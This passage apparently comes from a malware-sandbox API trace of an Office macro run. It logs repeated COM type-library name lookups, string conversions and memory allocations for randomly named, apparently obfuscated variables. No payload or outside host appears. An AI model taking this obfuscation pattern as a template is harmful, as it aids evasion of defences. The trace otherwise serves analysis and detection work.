lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="cpCdvZApoP") returned 11 [0019.040] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.040] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="cpCdvZApoP", lHashVal=0x10648c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.040] IUnknown:Release (This=0x7919520) returned 0x10 [0019.040] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.040] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="cpCdvZApoP", lHashVal=0x10648c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.040] IUnknown:Release (This=0x7346470) returned 0xb [0019.040] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.040] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="cpCdvZApoP", lHashVal=0x10648c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.040] IUnknown:Release (This=0x7345930) returned 0x7 [0019.040] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.040] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="cpCdvZApoP", lHashVal=0x10648c, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.040] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.040] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_cpCdvZApoP" | out: _Dst="_B_var_cpCdvZApoP") returned 0x0 [0019.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_cpCdvZApoP") returned 18 [0019.040] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.040] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_cpCdvZApoP", lHashVal=0x10d2f6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.040] IUnknown:Release (This=0x7919520) returned 0x10 [0019.040] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.040] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_cpCdvZApoP", lHashVal=0x10d2f6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.040] IUnknown:Release (This=0x7346470) returned 0xb [0019.040] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.040] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_cpCdvZApoP", lHashVal=0x10d2f6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.040] IUnknown:Release (This=0x7345930) returned 0x7 [0019.040] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.040] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_cpCdvZApoP", lHashVal=0x10d2f6, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.040] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.040] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.040] IUnknown:Release (This=0x7919520) returned 0x10 [0019.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78836, cbMultiByte=10, lpWideCharStr=0xd2810a6, cchWideChar=22 | out: lpWideCharStr="AipuUFbujW") returned 10 [0019.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7884a, cbMultiByte=10, lpWideCharStr=0xd281250, cchWideChar=22 | out: lpWideCharStr="fFhMkOWHfc") returned 10 [0019.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7885e, cbMultiByte=10, lpWideCharStr=0xd2813fa, cchWideChar=22 | out: lpWideCharStr="KWaMHwZYzI") returned 10 [0019.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78872, cbMultiByte=10, lpWideCharStr=0xd2815a4, cchWideChar=22 | out: lpWideCharStr="StnFTihnvb") returned 10 [0019.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78886, cbMultiByte=10, lpWideCharStr=0xd28174e, cchWideChar=22 | out: lpWideCharStr="GkhAQCRTKX") returned 10 [0019.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7889a, cbMultiByte=10, lpWideCharStr=0xd2818f8, cchWideChar=22 | out: lpWideCharStr="icMEIdEcnY") returned 10 [0019.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb788ae, cbMultiByte=10, lpWideCharStr=0xd281aa2, cchWideChar=22 | out: lpWideCharStr="fDzXEmRcsG") returned 10 [0019.042] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="amXMjRQtSw" | out: _Dst="amXMjRQtSw") returned 0x0 [0019.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="amXMjRQtSw") returned 11 [0019.042] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.042] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="amXMjRQtSw", lHashVal=0x10c914, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.042] IUnknown:Release (This=0x7919520) returned 0x10 [0019.042] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.042] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="amXMjRQtSw", lHashVal=0x10c914, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.042] IUnknown:Release (This=0x7346470) returned 0xb [0019.042] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.042] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="amXMjRQtSw", lHashVal=0x10c914, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.042] IUnknown:Release (This=0x7345930) returned 0x7 [0019.042] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.042] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="amXMjRQtSw", lHashVal=0x10c914, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.042] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.042] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_amXMjRQtSw" | out: _Dst="_B_var_amXMjRQtSw") returned 0x0 [0019.042] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_amXMjRQtSw") returned 18 [0019.042] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.042] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_amXMjRQtSw", lHashVal=0x10373f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.042] IUnknown:Release (This=0x7919520) returned 0x10 [0019.042] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.042] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_amXMjRQtSw", lHashVal=0x10373f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.042] IUnknown:Release (This=0x7346470) returned 0xb [0019.042] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.042] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_amXMjRQtSw", lHashVal=0x10373f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.042] IUnknown:Release (This=0x7345930) returned 0x7 [0019.042] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.042] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_amXMjRQtSw", lHashVal=0x10373f, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.042] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.042] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.042] IUnknown:Release (This=0x7919520) returned 0x10 [0019.042] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd290000 [0019.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb788e6, cbMultiByte=10, lpWideCharStr=0xd290364, cchWideChar=22 | out: lpWideCharStr="NczQvJwPOD") returned 10 [0019.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb788fa, cbMultiByte=10, lpWideCharStr=0xd29050e, cchWideChar=22 | out: lpWideCharStr="uipKphiQBj") returned 10 [0019.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7890e, cbMultiByte=10, lpWideCharStr=0xd2906b8, cchWideChar=22 | out: lpWideCharStr="DQJmEXPwtQ") returned 10 [0019.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78922, cbMultiByte=10, lpWideCharStr=0xd290862, cchWideChar=22 | out: lpWideCharStr="fHmSVwYkTs") returned 10 [0019.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78936, cbMultiByte=10, lpWideCharStr=0xd290a0c, cchWideChar=22 | out: lpWideCharStr="zJDbbjZFrq") returned 10 [0019.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7894a, cbMultiByte=10, lpWideCharStr=0xd290bb6, cchWideChar=22 | out: lpWideCharStr="UuWoLwTNLY") returned 10 [0019.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7895e, cbMultiByte=10, lpWideCharStr=0xd290d60, cchWideChar=22 | out: lpWideCharStr="uAWzYmsWot") returned 10 [0019.045] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="zSnILBGCc") returned 0x10a907 [0019.045] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="zSnILBGCc" | out: _Dst="zSnILBGCc") returned 0x0 [0019.045] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="zSnILBGCc") returned 10 [0019.045] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.045] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="zSnILBGCc", lHashVal=0x10a907, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.045] IUnknown:Release (This=0x7919520) returned 0x10 [0019.045] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.045] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="zSnILBGCc", lHashVal=0x10a907, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.045] IUnknown:Release (This=0x7346470) returned 0xb [0019.045] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.045] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="zSnILBGCc", lHashVal=0x10a907, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.045] IUnknown:Release (This=0x7345930) returned 0x7 [0019.045] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.045] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="zSnILBGCc", lHashVal=0x10a907, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.045] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.045] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0019.045] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_zSnILBGCc" | out: _Dst="_B_var_zSnILBGCc") returned 0x0 [0019.045] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_zSnILBGCc") returned 17 [0019.045] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.045] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_zSnILBGCc", lHashVal=0x10b24c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.045] IUnknown:Release (This=0x7919520) returned 0x10 [0019.045] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.045] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_zSnILBGCc", lHashVal=0x10b24c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.045] IUnknown:Release (This=0x7346470) returned 0xb [0019.045] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.045] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_zSnILBGCc", lHashVal=0x10b24c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.045] IUnknown:Release (This=0x7345930) returned 0x7 [0019.045] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.045] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_zSnILBGCc", lHashVal=0x10b24c, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.045] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.045] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.045] IUnknown:Release (This=0x7919520) returned 0x10 [0019.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb7897c, cbMultiByte=40, lpWideCharStr=0xd2931d2, cchWideChar=82 | out: lpWideCharStr="KGDqrsZJvfqjYhZCmnOwAjjDJUqzKXswUsFQTXSK") returned 40 [0019.046] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="ZwKzZYmsH") returned 0x103e04 [0019.046] strcpy_s (in: _Dst=0x305060, _DstSize=0xa, _Src="ZwKzZYmsH" | out: _Dst="ZwKzZYmsH") returned 0x0 [0019.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=10, lpWideCharStr=0x304eb0, cchWideChar=10 | out: lpWideCharStr="ZwKzZYmsH") returned 10 [0019.046] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.046] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="ZwKzZYmsH", lHashVal=0x103e04, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.046] IUnknown:Release (This=0x7919520) returned 0x10 [0019.046] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.046] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="ZwKzZYmsH", lHashVal=0x103e04, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.046] IUnknown:Release (This=0x7346470) returned 0xb [0019.046] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.046] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="ZwKzZYmsH", lHashVal=0x103e04, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.046] IUnknown:Release (This=0x7345930) returned 0x7 [0019.046] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.046] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="ZwKzZYmsH", lHashVal=0x103e04, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.046] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.046] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x11) returned 0x79720e0 [0019.046] strcpy_s (in: _Dst=0x305210, _DstSize=0x11, _Src="_B_var_ZwKzZYmsH" | out: _Dst="_B_var_ZwKzZYmsH") returned 0x0 [0019.046] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=17, lpWideCharStr=0x305060, cchWideChar=17 | out: lpWideCharStr="_B_var_ZwKzZYmsH") returned 17 [0019.046] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.046] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_ZwKzZYmsH", lHashVal=0x1037c8, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.046] IUnknown:Release (This=0x7919520) returned 0x10 [0019.046] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.046] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_ZwKzZYmsH", lHashVal=0x1037c8, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.046] IUnknown:Release (This=0x7346470) returned 0xb [0019.046] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.046] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_ZwKzZYmsH", lHashVal=0x1037c8, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.046] IUnknown:Release (This=0x7345930) returned 0x7 [0019.046] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.046] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_ZwKzZYmsH", lHashVal=0x1037c8, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.046] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.046] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.047] IUnknown:Release (This=0x7919520) returned 0x10 [0019.047] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb789bc, cbMultiByte=10, lpWideCharStr=0xd293f40, cchWideChar=22 | out: lpWideCharStr="jiLEVapavE") returned 10 [0019.047] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd2a0000 [0019.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb789d6, cbMultiByte=10, lpWideCharStr=0xd2a03a4, cchWideChar=22 | out: lpWideCharStr="fGOZipjjzp") returned 10 [0019.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb789ea, cbMultiByte=10, lpWideCharStr=0xd2a054e, cchWideChar=22 | out: lpWideCharStr="aFAXvDnJvi") returned 10 [0019.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb789fe, cbMultiByte=10, lpWideCharStr=0xd2a06f8, cchWideChar=22 | out: lpWideCharStr="lpaDrvQIii") returned 10 [0019.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78a12, cbMultiByte=10, lpWideCharStr=0xd2a08a2, cchWideChar=22 | out: lpWideCharStr="odjitZpXtO") returned 10 [0019.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78a26, cbMultiByte=10, lpWideCharStr=0xd2a0a4c, cchWideChar=22 | out: lpWideCharStr="FiiCjbinIS") returned 10 [0019.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78a3a, cbMultiByte=10, lpWideCharStr=0xd2a0bf6, cchWideChar=22 | out: lpWideCharStr="mfiRTpfKii") returned 10 [0019.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78a4e, cbMultiByte=10, lpWideCharStr=0xd2a0da0, cchWideChar=22 | out: lpWideCharStr="ZYAOBwYSiW") returned 10 [0019.049] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="rIYiNuVpDN") returned 0x10b7bd [0019.049] strcpy_s (in: _Dst=0x305060, _DstSize=0xb, _Src="rIYiNuVpDN" | out: _Dst="rIYiNuVpDN") returned 0x0 [0019.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=11, lpWideCharStr=0x304eb0, cchWideChar=11 | out: lpWideCharStr="rIYiNuVpDN") returned 11 [0019.049] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.049] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="rIYiNuVpDN", lHashVal=0x10b7bd, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.049] IUnknown:Release (This=0x7919520) returned 0x10 [0019.049] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.049] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="rIYiNuVpDN", lHashVal=0x10b7bd, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.049] IUnknown:Release (This=0x7346470) returned 0xb [0019.049] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.049] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="rIYiNuVpDN", lHashVal=0x10b7bd, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.049] IUnknown:Release (This=0x7345930) returned 0x7 [0019.049] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.049] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="rIYiNuVpDN", lHashVal=0x10b7bd, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.049] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.049] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x12) returned 0x79720e0 [0019.049] strcpy_s (in: _Dst=0x305210, _DstSize=0x12, _Src="_B_var_rIYiNuVpDN" | out: _Dst="_B_var_rIYiNuVpDN") returned 0x0 [0019.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305210, cbMultiByte=18, lpWideCharStr=0x305060, cchWideChar=18 | out: lpWideCharStr="_B_var_rIYiNuVpDN") returned 18 [0019.049] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.049] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_rIYiNuVpDN", lHashVal=0x1025e8, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.049] IUnknown:Release (This=0x7919520) returned 0x10 [0019.049] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.049] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_rIYiNuVpDN", lHashVal=0x1025e8, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.049] IUnknown:Release (This=0x7346470) returned 0xb [0019.049] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.050] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_rIYiNuVpDN", lHashVal=0x1025e8, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.050] IUnknown:Release (This=0x7345930) returned 0x7 [0019.050] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.050] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_rIYiNuVpDN", lHashVal=0x1025e8, pfName=0x305130, pBstrLibName=0x305060 | out: pfName=0x305130*=0, pBstrLibName=0x305060) returned 0x0 [0019.050] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.050] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.050] IUnknown:Release (This=0x7919520) returned 0x10 [0019.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78a6c, cbMultiByte=10, lpWideCharStr=0xd2a3212, cchWideChar=22 | out: lpWideCharStr="JzzJluNiKU") returned 10 [0019.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78a86, cbMultiByte=10, lpWideCharStr=0xd2a365c, cchWideChar=22 | out: lpWideCharStr="zJGCwlkzGZ") returned 10 [0019.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78a9a, cbMultiByte=10, lpWideCharStr=0xd2a3806, cchWideChar=22 | out: lpWideCharStr="dKYuwzmFCp") returned 10 [0019.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78aae, cbMultiByte=10, lpWideCharStr=0xd2a39b0, cchWideChar=22 | out: lpWideCharStr="qCQzhWwNCR") returned 10 [0019.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78ac2, cbMultiByte=10, lpWideCharStr=0xd2a3b5a, cchWideChar=22 | out: lpWideCharStr="jkDqaktUBm") returned 10 [0019.050] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78ad6, cbMultiByte=10, lpWideCharStr=0xd2a3d04, cchWideChar=22 | out: lpWideCharStr="CuPPQwZCKo") returned 10 [0019.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78aea, cbMultiByte=10, lpWideCharStr=0xd2a3eae, cchWideChar=22 | out: lpWideCharStr="HIfVivsIUa") returned 10 [0019.051] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd2b0000 [0019.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb78afe, cbMultiByte=10, lpWideCharStr=0xd2b0064, cchWideChar=22 | out: lpWideCharStr="oWuppsHhUN") returned 10 [0019.052] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="iSQTMbBTwQN") returned 0x10ea24 [0019.052] strcpy_s (in: _Dst=0x305060, _DstSize=0xc, _Src="iSQTMbBTwQN" | out: _Dst="iSQTMbBTwQN") returned 0x0 [0019.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305060, cbMultiByte=12, lpWideCharStr=0x304eb0, cchWideChar=12 | out: lpWideCharStr="iSQTMbBTwQN") returned 12 [0019.052] IUnknown:AddRef (This=0x7919520) returned 0x11 [0019.052] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="iSQTMbBTwQN", lHashVal=0x10ea24, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.052] IUnknown:Release (This=0x7919520) returned 0x10 [0019.052] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.052] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="iSQTMbBTwQN", lHashVal=0x10ea24, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.052] IUnknown:Release (This=0x7346470) returned 0xb [0019.052] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.052] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="iSQTMbBTwQN", lHashVal=0x10ea24, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.052] IUnknown:Release (This=0x7345930) returned 0x7 [0019.052] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.052] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="iSQTMbBTwQN", lHashVal=0x10ea24, pfName=0x304f80, pBstrLibName=0x304eb0 | out: pfName=0x304f80*=0, pBstrLibName=0x304eb0) returned 0x0 [0019.052] IUnknown:Release (This=0x7919ac0) returned 0x4 [0019.052] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x79720e0 [0019.052] strcpy_s (in: _Dst=0x305210, _DstSize=0x13, _Src="_B_var_iSQTMbBTwQN" | out: _Dst="_B_var_iSQTMbBTwQN") returned 0x0 [0019.052] MultiByteToWideChar (in: 